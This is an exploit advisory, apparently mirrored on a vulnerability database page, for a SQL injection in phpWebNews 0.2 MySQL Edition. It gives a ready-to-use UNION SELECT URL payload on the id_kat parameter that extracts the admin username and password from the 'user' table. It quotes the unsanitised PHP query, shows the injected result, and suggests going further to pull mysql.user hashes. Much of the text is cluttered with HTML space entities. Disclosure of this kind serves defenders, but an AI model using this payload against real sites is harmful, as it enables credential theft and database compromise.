phpWebNews 0.2 MySQL Edition (id_kat) SQL Injection Vulnerability

🗓️ 05 Jul 2008 00:00:00Reported by RootType
phpWebNews 0.2 MySQL Edition SQL Injection Vulnerability Descriptio

                                                &nbsp;&nbsp;____&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_&nbsp;&nbsp;&nbsp;_&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_&nbsp;___&nbsp;&nbsp;&nbsp;__&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_&nbsp;&nbsp;__
&nbsp;/&nbsp;___|&nbsp;___&nbsp;|&nbsp;\&nbsp;|&nbsp;|_&nbsp;&nbsp;&nbsp;_|&nbsp;|&nbsp;\&nbsp;\&nbsp;/&nbsp;/__&nbsp;&nbsp;_&nbsp;&nbsp;&nbsp;_&nbsp;_&nbsp;__&nbsp;___&nbsp;&nbsp;___|&nbsp;|/&nbsp;_|&nbsp;___&nbsp;&nbsp;_&nbsp;__&nbsp;__&nbsp;_
|&nbsp;|&nbsp;&nbsp;_&nbsp;/&nbsp;_&nbsp;\|&nbsp;&nbsp;\|&nbsp;|&nbsp;|&nbsp;|&nbsp;|&nbsp;|&nbsp;|\&nbsp;V&nbsp;/&nbsp;_&nbsp;\|&nbsp;|&nbsp;|&nbsp;|&nbsp;'__/&nbsp;__|/&nbsp;_&nbsp;\&nbsp;|&nbsp;|_&nbsp;/&nbsp;_&nbsp;\|&nbsp;'__/&nbsp;_`&nbsp;|
|&nbsp;|_|&nbsp;|&nbsp;(_)&nbsp;|&nbsp;|\&nbsp;&nbsp;|&nbsp;|_|&nbsp;|&nbsp;|&nbsp;|&nbsp;|&nbsp;|&nbsp;(_)&nbsp;|&nbsp;|_|&nbsp;|&nbsp;|&nbsp;&nbsp;\__&nbsp;\&nbsp;&nbsp;__/&nbsp;|&nbsp;&nbsp;_|&nbsp;(_)&nbsp;|&nbsp;|&nbsp;|&nbsp;(_|&nbsp;|
&nbsp;\____|\___/|_|&nbsp;\_|\__,_|_|_|&nbsp;|_|\___/&nbsp;\__,_|_|&nbsp;&nbsp;|___/\___|_|_|(_)___/|_|&nbsp;&nbsp;\__,&nbsp;|
---------------------------------------------------------------------------|___/
Exploit&nbsp;found&nbsp;by&nbsp;sToRm


phpWebNews&nbsp;v0.2&nbsp;MySQL&nbsp;Edition&nbsp;(Surat&nbsp;kabar/News&nbsp;Management&nbsp;Online)
SQL&nbsp;Injection


SQL&nbsp;Injection
-------------

index.php?id_kat=null+UNION+ALL+SELECT+1,2,3,4,concat(user,0x3a,passwd),6,7,8,9,10,11,12,13+FROM+user--


$id_kat=$_GET[id_kat];			&nbsp;&nbsp;
$m_conn&nbsp;=&nbsp;db_connect();
if&nbsp;((empty($id_kat))||($id_kat==''))
	$m_sql&nbsp;=&nbsp;&quot;select&nbsp;*&nbsp;from&nbsp;berita&nbsp;where&nbsp;status='tampil'&nbsp;and&nbsp;order&nbsp;by&nbsp;tgl&nbsp;desc&quot;;
else
	$m_sql&nbsp;=&nbsp;&quot;select&nbsp;*&nbsp;from&nbsp;berita&nbsp;where&nbsp;status='tampil'&nbsp;and&nbsp;kode_kategori=$id_kat&nbsp;and&nbsp;isi_berita&nbsp;like&nbsp;%'$m_txt'%&nbsp;order&nbsp;by&nbsp;tgl&nbsp;desc&quot;;


Here,&nbsp;we&nbsp;have&nbsp;a&nbsp;classic&nbsp;SQL&nbsp;MySQL&nbsp;injection.&nbsp;&nbsp;The&nbsp;GET&nbsp;variable&nbsp;&quot;id_kat&quot;&nbsp;isn't&nbsp;sanitized&nbsp;before&nbsp;being&nbsp;passed&nbsp;to&nbsp;the&nbsp;query.&nbsp;&nbsp;By&nbsp;injecting&nbsp;our&nbsp;string,&nbsp;the&nbsp;query&nbsp;becomes:

select&nbsp;*&nbsp;from&nbsp;berita&nbsp;where&nbsp;status='tampil'&nbsp;and&nbsp;kode_kategori=null&nbsp;UNION&nbsp;ALL&nbsp;SELECT&nbsp;1,2,3,4,concat(user,0x3a,passwd),6,7,8,9,10,11,12,13&nbsp;FROM&nbsp;user--&nbsp;and&nbsp;isi_berita&nbsp;like&nbsp;%'$m_txt'%&nbsp;order&nbsp;by&nbsp;tgl&nbsp;desc

The&nbsp;comment&nbsp;renders&nbsp;the&nbsp;rest&nbsp;of&nbsp;the&nbsp;query&nbsp;to&nbsp;be&nbsp;useless.&nbsp;&nbsp;We&nbsp;are&nbsp;effectively&nbsp;grabbing&nbsp;the&nbsp;first&nbsp;user&nbsp;from&nbsp;the&nbsp;table&nbsp;&quot;user&quot;,&nbsp;which&nbsp;is&nbsp;the&nbsp;admin.&nbsp;&nbsp;You&nbsp;can&nbsp;inject&nbsp;the&nbsp;other&nbsp;strings&nbsp;with&nbsp;server&nbsp;variables&nbsp;and&nbsp;attempt&nbsp;to&nbsp;fetch&nbsp;mysql.user&nbsp;hashes,&nbsp;if&nbsp;the&nbsp;conditions&nbsp;apply.
05 Jul 2008 00:00Current
7.1High risk
Vulners AI Score7.1
phpwebnews mysql injection vulnerability exploit user table database hashes